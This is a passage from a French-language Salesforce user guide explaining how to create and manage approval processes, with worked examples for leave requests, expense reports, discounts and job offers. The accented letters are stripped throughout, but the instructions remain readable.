Utilisez l'assistant de dmarrage automatique pour crer un processus d'approbation et spcifiez les lments suivants :
-

Slectionnez l'objet personnalis Demande de congs pays.

Slectionnez le modle d'e-mail cr pour ce processus d'approbation.
Vous n'avez pas besoin de spcifier de critres de filtrage si vous souhaitez que chaque utilisateur soumette des demandes
de congs pays et que celles-ci soient incluses quels que soient leurs attributs.
Dans l'option Attribuer automatiquement un approbateur l'aide d'un champ de hirarchie
personnalis ou standard, choisissez le champ Responsable.
L'assistant de dmarrage automatique slectionne automatiquement le responsable de l'enregistrement comme la seule
personne pouvant soumettre des demandes de congs pays.
Conseil: Si vous souhaitez que l'utilisateur effectuant la soumission puisse retirer une demande de congs pays
soumise :
1. Cliquez sur Modifier et slectionnez Utilisateurs initiaux effectuant la soumission dans le menu droulant.
2. Slectionnez l'option Autoriser les utilisateurs effectuant la soumission rappeler des demandes d'approbation.
Si vous slectionnez l'option Autoriser les utilisateurs effectuant la soumission rappeler des demandes
d'approbation pour le processus d'approbation, les utilisateurs effectuant les soumissions et les administrateurs
peuvent tous deux utiliser le bouton Rappeler la demande d'approbation dans la liste associe Historique des
approbations de la page de dtails des enregistrements soumis. Sinon, seuls les administrateurs peuvent l'utiliser.
Lorsque un utilisateur clique sur Rappeler la demande d'approbation, la demande d'approbation en cours pour

Crer

Guide de l'utilisateur | Processus d'approbation - Mise en route | 773

l'enregistrement est retire et des actions de rappel sont excutes. Pour plus d'informations, reportez-vous Actions
de rappel la page 808.

Ajoutez la liste associe Historique des approbations la prsentation de page de l'objet Demande de congs pays.
Reportez-vous Personnalisation des prsentations de page la page 546.
Pensez ajouter la liste associe lments approuver la prsentation de vos pages d'accueil personnalises. Cela donne
aux utilisateurs un aperu immdiat des demandes d'approbation qu'ils doivent approuver ou refuser. Pour des instructions
d'ajout de ce composant vos prsentations de page d'accueil, reportez-vous Conception des prsentations de page
d'accueil la page 570.
Si elle est disponible, utilisez votre version test Sandbox pour tester le processus d'approbation.
Activez le processus d'approbation.

Rapports sur les dpenses

Si votre socit exige des employs qu'ils rdigent des rapports sur les dpenses, ensuite approuvs par un responsable, vous
pouvez automatiser ce processus dans Salesforce.com. Utilisez cet exemple pour crer un processus d'approbation des rapports
sur les dpenses en deux tapes pour tous les employs de votre sige social. Il indique que les dpenses infrieures 50 euros
sont automatiquement approuves, que celles suprieures ou gales 50 euros ncessitent l'approbation d'un responsable, et
que celles suprieures 5 000 euros ncessitent en outre l'approbation de deux VP. Cet exemple met en lumire l'option sinon
ainsi que la fonction des approbations parallles.

Si vous n'avez pas encore d'objet personnalis pour suivre vos dpenses, crez un objet personnalis et un onglet appel
Rapports sur les dpenses. Reportez-vous Cration d'objets personnaliss la page 691 et Dfinition d'onglets personnaliss
la page 718. Ajoutez les champs appropris, tels que Montant, Description, Statut, Date de dbut et Date de
fin.
Crez le modle d'un e-mail informant les approbateurs qu'une demande d'approbation doit tre vrifie. Veillez inclure
l'un des champs de fusion du processus d'approbation pour diriger les utilisateurs directement vers la page d'approbation.
Reportez-vous Gestion des modles de message la page 76.
Crez un champ personnalis appel Office Location dans l'objet utilisateur. Attribuez la valeur HQ aux utilisateurs
qui travaillent dans les bureaux du sige social.
Crez le processus d'approbation et spcifiez les lments suivants :
-

Slectionnez l'objet personnalis Expense Report.

Les critres de filtrage de ce processus d'approbation sont Utilisateur actuel : Bureau gal Sige
social. Les enregistrements doivent satisfaire ce critre pour tre soumis ce processus d'approbation.
Slectionnez le champ Responsable comme approbateur automatique suivant.
Slectionnez le modle d'e-mail cr pour ce processus d'approbation.
Choisissez le responsable de l'enregistrement ou tout autre utilisateur auquel vous souhaitez donner la possibilit de
soumettre des rapports sur les dpenses.
Crez deux tapes d'approbation :
Nommez cette tape tape 1 : Approbation du responsable

Slectionnez Effectuez cette tape si les et choisissez critres sont remplis. Choisissez aussi
approuver l'enregistrement pour l'option sinon.
Dfinissez les critres de filtrage sur : Dpenses : Montant suprieur ou gal 50.
Dans l'option Affecter automatiquement des approbateurs, slectionnez le responsable de
l'utilisateur qui soumet la demande.

Crer

Guide de l'utilisateur | Processus d'approbation - Mise en route | 774

Si ncessaire, slectionnez Le dlgu de l'approbateur peut galement approuver cette

demande pour permettre l'utilisateur qui figure dans le champ Approbateur dlgu d'approuver les
demandes.

Nommez cette tape tape 2 : Approbation de plusieurs VP

Crez ventuellement les actions d'approbation finale suivantes :

Utilisez les critres de filtre Montant des dpenses suprieur ou gal 5000.
Choisissez Affecter automatiquement des approbateurs et slectionnez deux utilisateurs ayant
un rle de VP.
Slectionnez l'option Ncessite l'approbation UNANIME de tous les approbateurs
slectionns. La demande ne sera pas approuve moins que les deux utilisateurs dsigns ne l'approuvent.
Si ncessaire, slectionnez Le dlgu de l'approbateur peut galement approuver cette
demande pour permettre l'utilisateur qui figure dans le champ Approbateur dlgu d'approuver les
demandes.
Slectionnez Effectuer UNIQUEMENT les actions de refus pour cette tape... afin que
la demande revienne au responsable pour qu'il y apporte des modifications si l'un des VP la refuse.

Dfinissez une mise jour de champ pour attribuer automatiquement la valeur Approuve au champ Statut.
Envoyez une notification d'approbation l'utilisateur qui a soumis le rapport sur les dpenses.
Envoyez votre systme financier de back-office un message sortant demandant l'impression d'un chque de
remboursement.

Ajoutez la liste associe Historique des approbations la prsentation de page de l'objet Expense Report. Reportez-vous
Personnalisation des prsentations de page la page 546.
Pensez ajouter la liste associe lments approuver la prsentation de vos pages d'accueil personnalises. Cela donne
aux utilisateurs un aperu immdiat des demandes d'approbation qu'ils doivent approuver ou refuser. Pour des instructions
d'ajout de ce composant vos prsentations de page d'accueil, reportez-vous Conception des prsentations de page
d'accueil la page 570.
Si elle est disponible, utilisez votre version test Sandbox pour tester le processus d'approbation.
Activez le processus d'approbation.

Opportunits d'escompte
Les opportunits bnficiant d'un escompte de plus de 40 % ncessitent l'approbation d'un PDG. Utilisez cet exemple pour
crer un processus d'approbation en une tape.

Crez le modle d'un e-mail informant les approbateurs qu'une demande d'approbation doit tre vrifie. Veillez inclure
l'un des champs de fusion du processus d'approbation pour diriger les utilisateurs directement vers la page d'approbation.
Reportez-vous Gestion des modles de message la page 76.
Crez un champ de pourcentage personnalis appel Discount Percent pour les opportunits, afin que les utilisateurs
puissent entrer une remise en pourcentage.
Crez un champ de case cocher personnalis appel Remise approuve pour les opportunits, afin d'indiquer si le PDG
a approuv la remise.
Crez le processus d'approbation et spcifiez les lments suivants :
-

Slectionnez l'objet Opportunity.

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Guide de l'utilisateur | Processus d'approbation - Mise en route | 775

Le critre de filtre de ce processus d'approbation est Pourcentage de l'escompte suprieur ou gal

0,04. Les enregistrements doivent satisfaire ce critre pour tre soumis ce processus d'approbation.
Vous n'avez pas besoin de slectionner un champ personnalis comme approbateur automatique suivant car vous
spcifierez plus tard au cours du processus que le PDG doit approuver toutes les demandes.
Slectionnez le modle d'e-mail cr pour ce processus d'approbation.
Indiquez le responsable d'enregistrement comme seul utilisateur pouvoir soumettre une demande de remise pour
approbation.
Crez une tape d'approbation sans prciser de critres de filtrage. Tous les enregistrements soumis devront en effet
tre approuvs ou refuss. Reportez-vous Cration d'tapes d'approbation la page 785.
Slectionnez Affecter automatiquement des approbateurs et le nom de votre PDG.
Si ncessaire, slectionnez Le dlgu de l'approbateur peut galement approuver cette demande
pour permettre l'utilisateur qui figure dans le champ Approbateur dlgu d'approuver les demandes.
Crez ventuellement les actions d'approbation finale suivantes :

Envoyez une notification d'approbation l'utilisateur qui a soumis la demande de remise.

Dfinissez une mise jour de champ pour slectionner automatiquement le champ de case cocher Remise
approuve de l'opportunit.

Ajoutez la liste associe Historique des approbations aux prsentations de page d'opportunit appropries. Reportez-vous
Personnalisation des prsentations de page la page 546.
Pensez ajouter la liste associe lments approuver la prsentation de vos pages d'accueil personnalises. Cela donne
aux utilisateurs un aperu immdiat des demandes d'approbation qu'ils doivent approuver ou refuser. Pour des instructions
d'ajout de ce composant vos prsentations de page d'accueil, reportez-vous Conception des prsentations de page
d'accueil la page 570.
Si elle est disponible, utilisez votre version test Sandbox pour tester le processus d'approbation.
Activez le processus d'approbation.

Candidats un poste
Lorsque votre socit fait passer un entretien des candidats pour un poste, vous pouvez avoir plusieurs niveaux d'approbation
avant qu'une lettre d'offre soit envoye. Utilisez cet exemple pour crer un processus d'approbation en trois tapes ncessitant
l'approbation de plusieurs niveaux de la direction.

Si vous n'avez pas encore d'objet personnalis pour suivre les candidats, crez un objet personnalis et un onglet appel
Candidats. Reportez-vous Cration d'objets personnaliss la page 691 et Dfinition d'onglets personnaliss la page
718. Ajoutez les champs appropris, tels que Salaire, Offre tendue (case cocher) et Date d'embauche.
Crez le modle d'un e-mail informant les approbateurs qu'une demande d'approbation doit tre vrifie. Veillez inclure
l'un des champs de fusion du processus d'approbation pour diriger les utilisateurs directement vers la page d'approbation.
Reportez-vous Gestion des modles de message la page 76.
Crez le processus d'approbation comme suit :
-

Slectionnez l'objet personnalis Candidate.

Vous n'avez pas besoin d'entrer de critres de filtrage car vous souhaitez que toutes les offres soumises soient approuves.
Slectionnez le champ Responsable comme approbateur automatique suivant.
Slectionnez le modle d'e-mail cr pour ce processus d'approbation.
Choisissez le responsable de l'enregistrement ou tout autre utilisateur auquel vous souhaitez donner la possibilit de
soumettre des lettres d'offre.

Crer

Guide de l'utilisateur | Processus d'approbation - Mise en route | 776

Crez trois tapes d'approbation :

Nommez cette tape tape 1 : Approbation du responsable

Aucun filtre n'est ncessaire car vous souhaitez que tous les enregistrements accdent cette tape.
Dans l'option Affecter automatiquement des approbateurs, slectionnez le responsable de
l'utilisateur qui soumet la demande.
Si ncessaire, slectionnez Le dlgu de l'approbateur peut galement approuver cette
demande pour permettre l'utilisateur qui figure dans le champ Approbateur dlgu d'approuver les
demandes.

Nommez cette tape tape 2 : Approbation du VP

Aucun filtre n'est ncessaire car vous souhaitez que tous les enregistrements accdent cette tape.
Slectionnez Laisser l'utilisateur slectionner l'approbateur afin de permettre au responsable
de slectionner le VP charg de l'approbation de la demande.
Si ncessaire, slectionnez Le dlgu de l'approbateur peut galement approuver cette
demande pour permettre l'utilisateur qui figure dans le champ Approbateur dlgu d'approuver les
demandes.
Slectionnez Effectuer UNIQUEMENT les actions de refus pour cette tape... afin que
la demande revienne au responsable pour qu'il y apporte des modifications si le VP la refuse.

Nommez cette tape tape 3 : Approbation du directeur financier

Crez ventuellement les actions d'approbation finale suivantes :

Envoyez une notification d'approbation l'utilisateur qui a soumis la demande de lettre d'offre.
Dfinissez une mise jour de champ pour slectionner le champ de case cocher Offre tendue.

Crez ventuellement les actions de refus final suivantes :

Aucun filtre n'est ncessaire car vous souhaitez que tous les enregistrements accdent cette tape.
Slectionnez Affecter automatiquement des approbateurs et le nom de votre directeur financier.
Si ncessaire, slectionnez Le dlgu de l'approbateur peut galement approuver cette
demande pour permettre l'utilisateur qui figure dans le champ Approbateur dlgu d'approuver les
demandes.
Slectionnez Effectuer toutes les actions de refus pour cette tape ET toutes les
actions de refus final. (Final Rejection) afin que les lettres d'offre refuses par le directeur
financier soient dfinitivement rejetes.

Envoyez une notification au responsable l'informant qu'aucune suite ne sera donne l'offre.

Ajoutez la liste associe Historique des approbations la prsentation de page de l'objet Candidates. Reportez-vous
Personnalisation des prsentations de page la page 546.
Pensez ajouter la liste associe lments approuver la prsentation de vos pages d'accueil personnalises. Cela donne
aux utilisateurs un aperu immdiat des demandes d'approbation qu'ils doivent approuver ou refuser. Pour des instructions
d'ajout de ce composant vos prsentations de page d'accueil, reportez-vous Conception des prsentations de page
d'accueil la page 570.
Si elle est disponible, utilisez votre version test Sandbox pour tester le processus d'approbation.

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Guide de l'utilisateur | Processus d'approbation - Mise en route | 777

Activez le processus d'approbation.

Choix d'un assistant de processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Les processus d'approbation doivent tre planifis et prpars. Avant de crer un processus d'approbation, dterminez quel
assistant rpond le mieux vos besoins.
Assistant de dmarrage automatique
L'assistant de dmarrage automatique est adapt aux processus d'approbation simples en une seule tape. Utilisez l'assistant
de dmarrage automatique si vous souhaitez crer rapidement un processus d'approbation en autorisant Salesforce.com
choisir automatiquement un certain nombre d'options par dfaut. Pour connatre la liste des options que l'assistant de
dmarrage automatique choisit automatiquement, reportez-vous Slections par dfaut du dmarrage automatique du
processus d'approbation la page 825.
Pour crer un processus d'approbation l'aide de l'assistant de dmarrage automatique, reportez-vous Utilisation de
l'assistant de dmarrage automatique du processus d'approbation la page 821.
Assistant standard
L'assistant standard est adapt aux processus d'approbation complexes. Utilisez-le lorsque vous souhaitez contrler
prcisment les tapes de votre processus d'approbation. L'assistant standard est constitu de deux assistants d'installation :
le premier vous permet de dfinir votre processus et le deuxime, chaque tape du processus.
Pour crer un processus d'approbation l'aide de l'assistant standard, reportez-vous Cration de processus d'approbation
la page 780.

Voir aussi :
Prsentation des processus d'approbation
Processus d'approbation - Mise en route
Exemples de processus d'approbation

Observations relatives au processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser les approbations :

Diverses autorisations utilisateur ncessaires selon l'action

Avant de mettre en uvre un processus d'approbation pour votre entreprise, prenez en compte les observations suivantes :

Vous ne pouvez pas supprimer des processus d'approbation actifs, mais vous pouvez les dsactiver.

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Guide de l'utilisateur | Processus d'approbation - Mise en route | 778

Vous pouvez activer la rponse d'approbation par e-mail. La fonctionnalit E-mails d'auto-rponse permet aux utilisateurs
d'approuver ou de refuser les demandes d'approbation d'e-mails en rpondant au message.
Une fois qu'un processus d'approbation a t activ, vous ne pouvez pas ajouter, supprimer ni modifier le tri des tapes ni
modifier le comportement visant refuser ou ignorer ce processus (mme si vous dsactivez le processus).
La limite est fixe 15 tapes d'approbation par processus d'approbation.
La limite est fixe 25 approbateurs par tape.
Indiquez aux utilisateurs les critres applicables chaque processus d'approbation et le rle des divers processus d'approbation.
Les utilisateurs ignorent quel processus d'approbation est dclench lorsqu'ils cliquent sur Soumettre pour approbation.
Les enregistrements faisant l'objet d'un processus d'approbation sont verrouills. Seuls les utilisateurs qui disposent de
l'autorisation au niveau de l'objet Modifier tout pour un objet donn ou Modifier toutes les donnes peuvent dverrouiller
les enregistrements verrouills. Vous pouvez continuer d'ajouter des membres aux campagnes verrouilles pour approbation.
Un message d'erreur apparat si la demande d'approbation soumise par un utilisateur doit tre adresse au responsable
direct de l'utilisateur, mais qu'il n'existe aucun responsable direct.
Un message d'erreur apparat lorsqu'un utilisateur soumet une demande d'approbation si une mise jour de champ dfinie
pour le processus d'approbation ne rpond pas aux rgles de validation de champ. Ce problme peut survenir pour un
champ non visible dans la prsentation de page de l'utilisateur.
Les processus d'approbation qui permettent l'utilisateur de slectionner un approbateur manuellement l'autorisent
galement soumettre une demande pour s'auto-slectionner comme approbateur.
Vous ne pouvez pas utiliser de rponse d'approbation par e-mail avec des processus d'approbation dans lesquels l'approbateur
attribu est une file d'attente.
Vous ne pouvez pas crer de messages sortants pour des processus d'approbation sur des objets junction.
Lorsque l'approbateur attribu est une file d'attente :
-

Tout membre de la file d'attente peut approuver/refuser une demande d'approbation attribue la file d'attente.
Lorsqu'une demande d'approbation est attribue une file d'attente, la notification par e-mail est envoye l'adresse
e-mail correspondante. Selon les paramtres de la file d'attente, une notification par e-mail peut galement tre envoye
chacun de ses membres.
Si une demande d'approbation est refuse et retourne l'approbateur prcdent, et que celui-ci est une file d'attente,
la demande est attribue l'utilisateur l'ayant approuve, au lieu de la file d'attente.
La liste associe Historique des approbations prcise le nom de la file d'attente dans la colonne Attribu , et celui
de l'utilisateur ayant rellement approuv/refus la demande d'approbation dans la colonne Approbateur rel.
Les dlgus de tous les membres de la file d'attente peuvent approuver les demandes si l'tape du processus est configure
de faon autoriser les approbateurs dlgus.
Remarque: Les files d'attente ne sont disponibles que pour certains objets. Pour plus d'informations sur les files
d'attente, reportez-vous Gestion des files d'attente la page 139.

Voir aussi :
Processus d'approbation - Mise en route
Terminologie propre aux processus d'approbation
Prsentation des processus d'approbation
Utilisation du Visualiseur de processus
Exemples de processus d'approbation

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 779

Gestion des processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, supprimer ou cloner des processus
d'approbation :

Personnaliser l'application

Pour afficher les processus d'approbation :

Afficher la configuration

Processus automatis que votre organisation peut utiliser pour approuver des enregistrements dans Salesforce.com. Ils dterminent
les tapes ncessaires pour qu'un enregistrement soit approuv et la personne qui doit l'approuver chaque tape. Une tape
peut tre applique tous les enregistrements inclus dans le processus ou uniquement ceux prsentant certains attributs. Un
processus d'approbation dtermine galement les actions entreprendre lorsqu'un enregistrement est approuv, refus, rappel
ou soumis pour approbation pour la premire fois.
Pour grer les processus d'approbation ,cliquez sur Configuration Crer Workflow & approbations Processus
d'approbation.

Slectionnez un objet de la liste droulante pour crer, modifier ou supprimer des processus d'approbation pour cet objet.
Pour crer un nouveau processus d'approbation, cliquez sur Crer un processus d'approbation. Reportez-vous Cration
de processus d'approbation la page 780.
Pour modifier l'ordre de vos processus d'approbation actifs, changez les numros dans la colonne Ordre du processus et
cliquez sur Rorganiser.
Cliquez sur Suppr en regard d'un processus d'approbation inactif pour le supprimer.
Cliquez sur Modifier en regard d'un processus d'approbation pour le modifier.
Cliquez sur Activer en regard d'un processus d'approbation inactif pour l'activer. Un processus d'approbation doit tre
constitu d'au moins une tape pour que vous puissiez l'activer.
Cliquez sur Dsactiver en regard d'un processus d'approbation actif pour le dsactiver. Le processus d'approbation est
envoy la liste des processus d'approbation inactifs.
Slectionnez un processus d'approbation pour voir les dtails :
-

Cliquez sur Cloner pour crer un nouveau processus d'approbation partir du processus d'approbation slectionn.
Cliquez sur Dsactiver pour rendre le processus d'approbation inactif.
Cliquez sur Supprimer pour supprimer un processus d'approbation inactif.
Cliquez sur Modifier et choisissez une option dans la liste droulante pour obtenir la page d'assistant souhaite.

Spcifiez le nom, le nom unique et la description

Spcifiez les critres d'entre dans le processus
Spcifiez le champ de l'approbateur et les possibilits de modification de l'enregistrement
Slectionnez un modle de notification par e-mail.
Configurez la prsentation de page de la demande d'approbation

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 780

Spcifiez les utilisateurs qui effectuent la soumission initiale.

Voir aussi :
Processus d'approbation - Mise en route
Terminologie propre aux processus d'approbation
Liste de Slection des Processus d'Approbation
Gestion de plusieurs demandes d'approbation
Utilisation du Visualiseur de processus
Exemples de processus d'approbation

Cration de processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des processus d'approbation :

Personnaliser l'application

Processus automatis que votre organisation peut utiliser pour approuver des enregistrements dans Salesforce.com. Ils dterminent
les tapes ncessaires pour qu'un enregistrement soit approuv et la personne qui doit l'approuver chaque tape. Une tape
peut tre applique tous les enregistrements inclus dans le processus ou uniquement ceux prsentant certains attributs. Un
processus d'approbation dtermine galement les actions entreprendre lorsqu'un enregistrement est approuv, refus, rappel
ou soumis pour approbation pour la premire fois.
Avant de commencer, dterminez l'assistant utiliser. Reportez-vous Choix d'un assistant de processus d'approbation la
page 777. Pour crer un processus d'approbation :
1.
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4.
5.
6.
7.
8.

Lancez l'assistant de processus d'approbation.

Spcifiez le nom, le nom unique et la description.
Spcifiez les critres d'entre dans le processus.
Spcifiez le champ de l'approbateur et les possibilits de modification de l'enregistrement.
Slectionnez un modle de notification par e-mail.
Configurez la prsentation de page de la demande d'approbation.
Spcifiez les utilisateurs qui effectuent la soumission initiale.
Activez le processus d'approbation.

Lancer l'assistant de processus d'approbation

1. Cliquez sur Configuration Crer Workflow & approbations Processus d'approbation.
2. Choisissez l'objet du nouveau processus d'approbation.
3. Cliquez sur Crer un processus d'approbation et slectionnez l'option Utiliser l'assistant d'installation standard dans la
liste droulante du bouton. Vous pouvez galement cliquer sur Utiliser l'assistant de dmarrage automatique pour crer
un processus d'approbation de base avec des paramtres par dfaut. Pour obtenir des instructions sur l'utilisation de l'assistant

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 781

de dmarrage automatique, reportez-vous Utilisation de l'assistant de dmarrage automatique du processus d'approbation

la page 821.
Spcifiez le nom, le nom unique et la description
1. Saisissez le nom du nouveau processus d'approbation.
2. Saisissez un nom unique, qui sera utilis pour rfrencer ce processus d'approbation dans l'API Force.com. Dans les packages
grs, ce nom unique empche les conflits de noms dans les installations de packages. L'exigence de nom unique existe
uniquement dans le type d'objet slectionn. Vous pouvez avoir deux processus d'approbation portant le mme nom unique,
condition qu'ils soient dfinis dans diffrents objets, par exemple un pour les campagnes et l'autre pour les opportunits.
Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres alphanumriques. Il doit tre
unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait
de soulignement et ne doit pas contenir deux traits de soulignement conscutifs.
3. Si vous le souhaitez, vous pouvez entrer une description afin de distinguer ce processus d'approbation des autres.
4. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de modifications
supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.
Spcifier les critres d'entre dans le processus
Si seuls certains types d'enregistrement doivent faire partie de ce processus d'approbation, choisissez l'une des procdures
suivantes :

Slectionnez critres suivants sont remplis si vous souhaitez dfinir des critres de filtre qu'un enregistrement
devra respecter pour faire partie de ce processus d'approbation. Par exemple, si seuls les employs travaillant au sige social
doivent utiliser le processus d'approbation afin de soumettre des rapports sur leurs dpenses, entrez les critres de filtre
suivants : Utilisateur actuel : Bureau est gal Sige social . Pour plus d'informations sur l'utilisation des critres de filtrage,
reportez-vous Saisie des critres de filtre la page 1736.
1. Saisissez vos critres de filtre pour les enregistrements que vous souhaitez intgrer ce processus d'approbation. Laissez
le filtre vide pour que tous les enregistrements soumis soient inclus dans le processus d'approbation. Pour obtenir des
informations sur l'utilisation des critres de filtrage, reportez-vous Saisie des critres de filtre la page 1736.
2. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de modifications
supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.

Slectionnez l'valuation de la formule est positive si vous souhaitez qu'une formule dfinisse les
enregistrements intgrs au processus d'approbation.
1. Entrez une formule qui renvoie true (vrai) ou false (faux). Un enregistrement intgre le processus d'approbation si la
formule renvoie true (vrai). Par exemple, utilisez la formule suivante pour exiger l'intgration d'un enregistrement ce
processus d'approbation lorsque la date limite d'approbation de remise de l'enregistrement est infrieure 30 jours :
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

2. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de modifications
supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.
Pour plus d'informations sur l'utilisation de formules, reportez-vous laboration de formules la page 428. Certaines
fonctions ne sont pas disponibles dans les formules de processus d'approbation. Pour plus d'informations sur les fonctions
utiliser dans les formules du processus d'approbation, reportez-vous Oprateurs et fonctions la page 475.
Spcifier le champ de l'approbateur et les possibilits de modification de l'enregistrement
Lorsque vous dfinissez les tapes d'approbation, vous pouvez attribuer les demandes diffrents utilisateurs. Une solution
consiste utiliser un champ d'utilisateur pour acheminer automatiquement ces demandes. Le champ d'utilisateur peut tre
tout champ de relation hirarchique personnalis tel que Responsable de compte ou le champ d'utilisateur standard

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 782

Responsable. Pour consulter quelques exemples de spcification de champs d'utilisateur en tant que champs d'approbateur,

reportez-vous Exemples de processus d'approbation la page 772.

Lorsqu'un enregistrement se trouve dans le processus d'approbation, il est toujours verrouill. Seul un administrateur peut le
modifier. Cependant, vous pouvez choisir d'autoriser galement l'approbateur actuellement attribu modifier l'enregistrement.
Vous pouvez continuer d'ajouter des membres aux campagnes verrouilles pour approbation.
1. Dans la liste de slection Approbateur automatique suivant dtermin par, slectionnez un champ d'utilisateur
personnalis pour que Salesforce.com attribue automatiquement les demandes d'approbation un approbateur en fonction
de la valeur du champ d'utilisateur. Par exemple, vous pouvez souhaiter que les demandes d'approbation soient
automatiquement achemines vers le responsable d'un utilisateur, conformment ce qui est indiqu dans le champ de
hirarchie d'utilisateur standard Responsable. Vous pouvez galement faire en sorte que les demandes d'approbation
soient automatiquement achemines vers un associ spcifi dans un champ d'utilisateur personnalis Responsable de
compte.

Pour spcifier un utilisateur pour l'approbation de toutes les demandes d'approbation, laissez ce champ vide. Vous
pouvez slectionner un ou des utilisateurs en tant qu'approbateurs lors de la cration d'une tape d'approbation.
Vous pouvez galement cocher la case Utiliser le champ d'approbateur du responsable de
l'enregistrement si vous voulez que le processus d'approbation utilise le champ d'utilisateur standard Responsable
ou le champ personnalis dans l'enregistrement utilisateur du responsable d'enregistrement plutt que l'enregistrement
utilisateur de l'utilisateur effectuant la soumission.
Remarque: Veillez ce que l'approbateur attribu dispose d'un accs en lecture aux enregistrements des demandes
d'approbation. Par exemple, un utilisateur qui ne dispose pas d'un accs en lecture un objet personnalis Expenses
ne pourra pas afficher les demandes d'approbation relatives aux dpenses.

2. Slectionnez SEULS les administrateurs... pour permettre uniquement aux utilisateurs disposant de l'autorisation
au niveau de l'objet Modifier tout pour un objet donn ou de l'autorisation Modifier toutes les donnes de modifier les
enregistrements en attente d'approbation. Slectionnez Les administrateurs OU... pour que l'approbateur attribu
puisse galement modifier les enregistrements. Lorsqu'un enregistrement est soumis pour approbation, il est automatiquement
verrouill pour empcher les autres utilisateurs de le modifier au cours du processus d'approbation.
3. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de modifications
supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.
Slectionner un modle de notification par e-mail
Lorsque le processus d'approbation attribue une demande d'approbation un utilisateur, Salesforce.com lui envoie
automatiquement un e-mail de demande d'approbation. L'e-mail contient un lien sur lequel l'utilisateur peut cliquer pour
accder la page d'approbation dans Salesforce.com, ce qui permet l'utilisateur d'approuver ou de rejeter la demande, ainsi
que d'ajouter des commentaires. Si la rponse d'approbation par e-mail est active, l'utilisateur peut galement rpondre
l'e-mail en saisissant approuver, approuve, oui, refuser, refuse ou non dans la premire ligne du corps de
l'e-mail et en ajoutant des commentaires dans la seconde. Cette option s'avre spcialement utile pour les utilisateurs susceptibles
de recevoir des demandes d'approbation sur un priphrique mobile.
1. Choisissez le modle d'e-mail personnalis utiliser pour prvenir les approbateurs qu'une demande d'approbation leur
est attribue ou laissez ce champ vide pour utiliser le modle d'e-mail par dfaut. Chaque processus d'approbation utilise
un modle d'e-mail unique pour toutes les tapes.
Remarque: Si la rponse d'approbation par e-mail est active, assurez-vous que le modle d'e-mail utilis dcrit
l'utilisation approprie des deux options de rponse : en cliquant sur le lien et en rpondant par e-mail. Si l'utilisateur
ne rpond pas correctement (par exemple, s'il orthographie mal approuve ou saisit ce terme dans la mauvaise
ligne), Salesforce.com n'enregistre pas la rponse de l'utilisateur.
Si le modle d'email que vous choisissez contient des champs de fusion d'approbations nomms
{!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque ce modle d'e-mail
est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle pour toute autre action

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 783

d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus d'approbation, les champs de fusion
renverront une valeur nulle.
2. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de modifications
supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.
Configurer la prsentation de page de la demande d'approbation
La page d'approbation est l'endroit o l'approbateur approuve ou refuse une demande.
1. Slectionnez les champs afficher sur la page de demande d'approbation et cliquez sur Ajouter.
2. Triez les champs en les slectionnant et en cliquant sur Haut ou Bas.
3. Slectionnez Affichez les informations sur l'historique des approbations... pour inclure la liste
associe Historique des approbations, qui rpertorie des champs tels que Date, Attribu , Approbateur rel et
Commentaires. Pour modifier les champs affichs dans la liste associe Historique des approbations, reportez-vous
Personnalisation des prsentations de page la page 546.
4. Slectionnez Ajouter la liste associe Historique des approbations... pour mettre jour les prsentations
de page de cet objet afin qu'elle incluent une liste associe permettant aux utilisateurs de soumettre des demandes
d'approbation et d'en assurer le suivi.
5. Choisissez un paramtre de scurit :
Autorisez les approbateurs accder la page d'approbation uniquement partir de
l'application Salesforce.

Exige que les utilisateurs se connectent Salesforce.com pour approuver ou refuser une demande d'approbation.
Autorisez les approbateurs accder la page d'approbation uniquement partir de
l'application ou en externe, partir d'un priphrique mobile sans fil.

Les utilisateurs peuvent approuver les demandes partir de la notification par e-mail qu'ils reoivent via un priphrique
sans fil. Notez que cette option empche l'approbateur de slectionner un utilisateur Salesforce.com comme approbateur
suivant.
6. Cliquez sur Suivant. Si vous modifiez un processus d'approbation existant et ne souhaitez pas apporter de modifications
supplmentaires, cliquez sur Enregistrer pour enregistrer vos modifications.
Spcifier les utilisateurs qui effectuent la soumission initiale
Spcifiez quels utilisateurs sont autoriss soumettre des enregistrements approbation. Par exemple, slectionnez Responsable
si les rapports sur les dpenses ne peuvent tre soumis que par les responsables d'enregistrement.
1. Slectionnez le type d'utilisateur effectuant la soumission, entrez un terme de recherche et cliquez sur Rechercher.
2. Slectionnez le type d'utilisateur effectuant la soumission dans la liste correspondante et cliquez sur Ajouter.
3. Vous pouvez galement slectionner Autoriser les utilisateurs effectuant la soumission rappeler des demandes
d'approbation pour permettre aux utilisateurs effectuant les soumissions de retirer leurs demandes d'approbation. Si vous
slectionnez l'option Autoriser les utilisateurs effectuant la soumission rappeler des demandes d'approbation pour le
processus d'approbation, les utilisateurs effectuant les soumissions et les administrateurs peuvent tous deux utiliser le bouton
